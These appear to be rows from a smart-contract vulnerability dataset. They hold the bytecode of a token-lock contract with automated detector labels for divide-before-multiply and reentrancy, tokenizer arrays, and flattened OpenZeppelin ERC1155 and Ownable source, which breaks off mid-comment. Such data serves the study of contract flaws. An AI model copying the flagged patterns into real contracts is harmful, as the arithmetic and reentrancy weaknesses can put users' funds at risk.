0a01b0382166000908152600160208181526040928390208351608081018552815480825293820154928101929092526002810154938201939093526003909201546060830152610437576000915050610495565b600061045e82604001516104588460600151426109df90919063ffffffff16565b90610a41565b90506000610479836020015183610aa890919063ffffffff16565b835190915081101561048f579250610495915050565b50505190505b919050565b6104a333610b08565b565b6001600160a01b031660009081526001602052604090205490565b6104c8610ca3565b6001600160a01b03166104d961086b565b6001600160a01b031614610534576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b610586610ca3565b6001600160a01b031661059761086b565b6001600160a01b0316146105f2576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6276a700811061063e576040805162461bcd60e51b81526020600482015260126024820152716c6f636b20746f6f206c6f6e672074696d6560701b604482015290519081900360640190fd5b6000811161068c576040805162461bcd60e51b81526020600482015260166024820152751a5b9d985b1a59081d5b9b1bd8dad25b9d195c9d985b60521b604482015290519081900360640190fd5b6001600160a01b038516600090815260016020526040902054156106e5576040805162461bcd60e51b815260206004820152600b60248201526a726570656174206c6f636b60a81b604482015290519081900360640190fd5b6000841161072b576040805162461bcd60e51b815260206004820152600e60248201526d616d6f756e74206973207a65726f60901b604482015290519081900360640190fd5b42821061076e576040805162461bcd60e51b815260206004820152600c60248201526b696e76616c69642074696d6560a01b604482015290519081900360640190fd5b6107a36001600160a01b037f0000000000000000000000003b808db06074e1bae5dfe0d970dc7b891ee26cac16333087610ca7565b60006107af8585610a41565b604080516080810182528781526020808201848152828401878152606084018981526001600160a01b038d166000818152600180875288822097518855945194870194909455915160028601555160039094019390935583518a81529351949550919391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a3505050505050565b7f0000000000000000000000003b808db06074e1bae5dfe0d970dc7b891ee26cac81565b6000546001600160a01b031690565b6040805180820190915260038152622d27bb60e91b602082015290565b6108a081610b08565b50565b6001602081905260009182526040909120805491810154600282015460039092015490919084565b6108d3610ca3565b6001600160a01b03166108e461086b565b6001600160a01b03161461093f576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b0381166109845760405162461bcd60e51b81526004018080602001828103825260268152602001806110556026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600082821115610a36576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b508082035b92915050565b6000808211610a97576040805162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015290519081900360640190fd5b818381610aa057fe5b049392505050565b600082610ab757506000610a3b565b82820282848281610ac457fe5b0414610b015760405162461bcd60e51b81526004018080602001828103825260218152602001806110a16021913960400191505060405180910390fd5b9392505050565b6000610b13826103d3565b905060008111610b62576040805162461bcd60e51b8152602060048201526015602482015274756e6c6f636b20616d6f756e74206973207a65726f60581b604482015290519081900360640190fd5b610b6a61102c565b506001600160a01b03821660009081526001602081815260408084208151608081018352815481529381015492840192909252600282015490830181905260039091015460608301819052919291610bc891906104589042906109df565b9050610be1826040015182610aa890919063ffffffff16565b60608301516001600160a01b038616600090815260016020526040902091016003909101558151610c1290846109df565b6001600160a01b03808616600090815260016020526040902091909155610c5c907f0000000000000000000000003b808db06074e1bae5dfe0d970dc7b891ee26cac168585610d07565b6040805184815290516000916001600160a01b038716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350505050565b3390565b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b179052610d01908590610d5e565b50505050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610d59908490610d5e565b505050565b6060610db3826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316610e0f9092919063ffffffff16565b805190915015610d5957808060200190516020811015610dd257600080fd5b5051610d595760405162461bcd60e51b815260040180806020018281038252602a8152602001806110c2602a913960400191505060405180910390fd5b6060610e1e8484600085610e26565b949350505050565b606082471015610e675760405162461bcd60e51b815260040180806020018281038252602681526020018061107b6026913960400191505060405180910390fd5b610e7085610f82565b610ec1576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b60006060866001600160a01b031685876040518082805190602001908083835b60208310610f005780518252601f199092019160209182019101610ee1565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610f62576040519150601f19603f3d011682016040523d82523d6000602084013e610f67565b606091505b5091509150610f77828286610f88565b979650505050505050565b3b151590565b60608315610f97575081610b01565b825115610fa75782518084602001fd5b8160405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610ff1578181015183820152602001610fd9565b50505050905090810190601f16801561101e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b604051806080016040528060008152602001600081526020016000815260200160008152509056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6c536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a264697066735822122024b21bc1f3db9a72120baf3ab80c67bcfd92f1103a589d38075f4273e42f91fc64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 27531, 2487, 2497, 25746, 2575, 2581, 2487, 2278, 2509, 2278, 2546, 20952, 2575, 2094, 2683, 2094, 21926, 2683, 2487, 8586, 2475, 19797, 2278, 17134, 2692, 2063, 25746, 2575, 2581, 2278, 1013, 1008, 1008, 1008, 1012, 1013, 8311, 1013, 1062, 7103, 11314, 1012, 14017, 1008, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1011, 4257, 6528, 1011, 16081, 1011, 5432, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1020, 1012, 1014, 1026, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1030, 16475, 3640, 2592, 2055, 1996, 2783, 7781, 6123, 1010, 2164, 1996, 1008, 4604, 2121, 1997, 1996, 12598, 1998, 2049, 2951, 1012, 2096, 2122, 2024, 3227, 2800, 1008, 3081, 5796, 2290, 1012, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,865
0x97857b2020326a954cea75ff5d1e2d1045fde3c4
// Sources flattened with hardhat v2.6.4 https://hardhat.org // File @openzeppelin/contracts/utils/introspection/IERC165.sol@v4.3.1 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File @openzeppelin/contracts/token/ERC1155/IERC1155.sol@v4.3.1 pragma solidity ^0.8.0; /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155 is IERC165 { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch( address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values ); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes calldata data ) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom( address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data ) external; } // File @openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol@v4.3.1 pragma solidity ^0.8.0; /** * @dev _Available since v3.1._ */ interface IERC1155Receiver is IERC165 { /** @dev Handles the receipt of a single ERC1155 token type. This function is called at the end of a `safeTransferFrom` after the balance has been updated. To accept the transfer, this must return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` (i.e. 0xf23a6e61, or its own function selector). @param operator The address which initiated the transfer (i.e. msg.sender) @param from The address which previously owned the token @param id The ID of the token being transferred @param value The amount of tokens being transferred @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed */ function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4); /** @dev Handles the receipt of a multiple ERC1155 token types. This function is called at the end of a `safeBatchTransferFrom` after the balances have been updated. To accept the transfer(s), this must return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` (i.e. 0xbc197c81, or its own function selector). @param operator The address which initiated the batch transfer (i.e. msg.sender) @param from The address which previously owned the token @param ids An array containing ids of each token being transferred (order and length must match values array) @param values An array containing amounts of each token being transferred (order and length must match ids array) @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed */ function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns (bytes4); } // File @openzeppelin/contracts/token/ERC1155/extensions/IERC1155MetadataURI.sol@v4.3.1 pragma solidity ^0.8.0; /** * @dev Interface of the optional ERC1155MetadataExtension interface, as defined * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP]. * * _Available since v3.1._ */ interface IERC1155MetadataURI is IERC1155 { /** * @dev Returns the URI for token type `id`. * * If the `\{id\}` substring is present in the URI, it must be replaced by * clients with the actual token type ID. */ function uri(uint256 id) external view returns (string memory); } // File @openzeppelin/contracts/utils/Address.sol@v4.3.1 pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File @openzeppelin/contracts/utils/Context.sol@v4.3.1 pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File @openzeppelin/contracts/utils/introspection/ERC165.sol@v4.3.1 pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File @openzeppelin/contracts/token/ERC1155/ERC1155.sol@v4.3.1 pragma solidity ^0.8.0; /** * @dev Implementation of the basic standard multi-token. * See https://eips.ethereum.org/EIPS/eip-1155 * Originally based on code by Enjin: https://github.com/enjin/erc-1155 * * _Available since v3.1._ */ contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI { using Address for address; // Mapping from token ID to account balances mapping(uint256 => mapping(address => uint256)) private _balances; // Mapping from account to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json string private _uri; /** * @dev See {_setURI}. */ constructor(string memory uri_) { _setURI(uri_); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC1155).interfaceId || interfaceId == type(IERC1155MetadataURI).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC1155MetadataURI-uri}. * * This implementation returns the same URI for *all* token types. It relies * on the token type ID substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * Clients calling this function must replace the `\{id\}` substring with the * actual token type ID. */ function uri(uint256) public view virtual override returns (string memory) { return _uri; } /** * @dev See {IERC1155-balanceOf}. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) public view virtual override returns (uint256) { require(account != address(0), "ERC1155: balance query for the zero address"); return _balances[id][account]; } /** * @dev See {IERC1155-balanceOfBatch}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] memory accounts, uint256[] memory ids) public view virtual override returns (uint256[] memory) { require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch"); uint256[] memory batchBalances = new uint256[](accounts.length); for (uint256 i = 0; i < accounts.length; ++i) { batchBalances[i] = balanceOf(accounts[i], ids[i]); } return batchBalances; } /** * @dev See {IERC1155-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(_msgSender() != operator, "ERC1155: setting approval status for self"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC1155-isApprovedForAll}. */ function isApprovedForAll(address account, address operator) public view virtual override returns (bool) { return _operatorApprovals[account][operator]; } /** * @dev See {IERC1155-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: caller is not owner nor approved" ); _safeTransferFrom(from, to, id, amount, data); } /** * @dev See {IERC1155-safeBatchTransferFrom}. */ function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: transfer caller is not owner nor approved" ); _safeBatchTransferFrom(from, to, ids, amounts, data); } /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data); uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; emit TransferSingle(operator, from, to, id, amount); _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, ids, amounts, data); for (uint256 i = 0; i < ids.length; ++i) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; } emit TransferBatch(operator, from, to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data); } /** * @dev Sets a new URI for all token types, by relying on the token type ID * substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * By this mechanism, any occurrence of the `\{id\}` substring in either the * URI or any of the amounts in the JSON file at said URI will be replaced by * clients with the token type ID. * * For example, the `https://token-cdn-domain/\{id\}.json` URI would be * interpreted by clients as * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json` * for token type ID 0x4cce0. * * See {uri}. * * Because these URIs cannot be meaningfully represented by the {URI} event, * this function emits no events. */ function _setURI(string memory newuri) internal virtual { _uri = newuri; } /** * @dev Creates `amount` tokens of token type `id`, and assigns them to `account`. * * Emits a {TransferSingle} event. * * Requirements: * * - `account` cannot be the zero address. * - If `account` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _mint( address account, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(account != address(0), "ERC1155: mint to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data); _balances[id][account] += amount; emit TransferSingle(operator, address(0), account, id, amount); _doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _mintBatch( address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, ids, amounts, data); for (uint256 i = 0; i < ids.length; i++) { _balances[ids[i]][to] += amounts[i]; } emit TransferBatch(operator, address(0), to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data); } /** * @dev Destroys `amount` tokens of token type `id` from `account` * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens of token type `id`. */ function _burn( address account, uint256 id, uint256 amount ) internal virtual { require(account != address(0), "ERC1155: burn from the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, account, address(0), _asSingletonArray(id), _asSingletonArray(amount), ""); uint256 accountBalance = _balances[id][account]; require(accountBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][account] = accountBalance - amount; } emit TransferSingle(operator, account, address(0), id, amount); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}. * * Requirements: * * - `ids` and `amounts` must have the same length. */ function _burnBatch( address account, uint256[] memory ids, uint256[] memory amounts ) internal virtual { require(account != address(0), "ERC1155: burn from the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, account, address(0), ids, amounts, ""); for (uint256 i = 0; i < ids.length; i++) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 accountBalance = _balances[id][account]; require(accountBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][account] = accountBalance - amount; } } emit TransferBatch(operator, account, address(0), ids, amounts); } /** * @dev Hook that is called before any token transfer. This includes minting * and burning, as well as batched variants. * * The same hook is called on both single and batched variants. For single * transfers, the length of the `id` and `amount` arrays will be 1. * * Calling conditions (for each `id` and `amount` pair): * * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens * of token type `id` will be transferred to `to`. * - When `from` is zero, `amount` tokens of token type `id` will be minted * for `to`. * - when `to` is zero, `amount` of ``from``'s tokens of token type `id` * will be burned. * - `from` and `to` are never both zero. * - `ids` and `amounts` have the same, non-zero length. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual {} function _doSafeTransferAcceptanceCheck( address operator, address from, address to, uint256 id, uint256 amount, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) { if (response != IERC1155Receiver.onERC1155Received.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _doSafeBatchTransferAcceptanceCheck( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns ( bytes4 response ) { if (response != IERC1155Receiver.onERC1155BatchReceived.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) { uint256[] memory array = new uint256[](1); array[0] = element; return array; } } // File @openzeppelin/contracts/access/Ownable.sol@v4.3.1 pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. 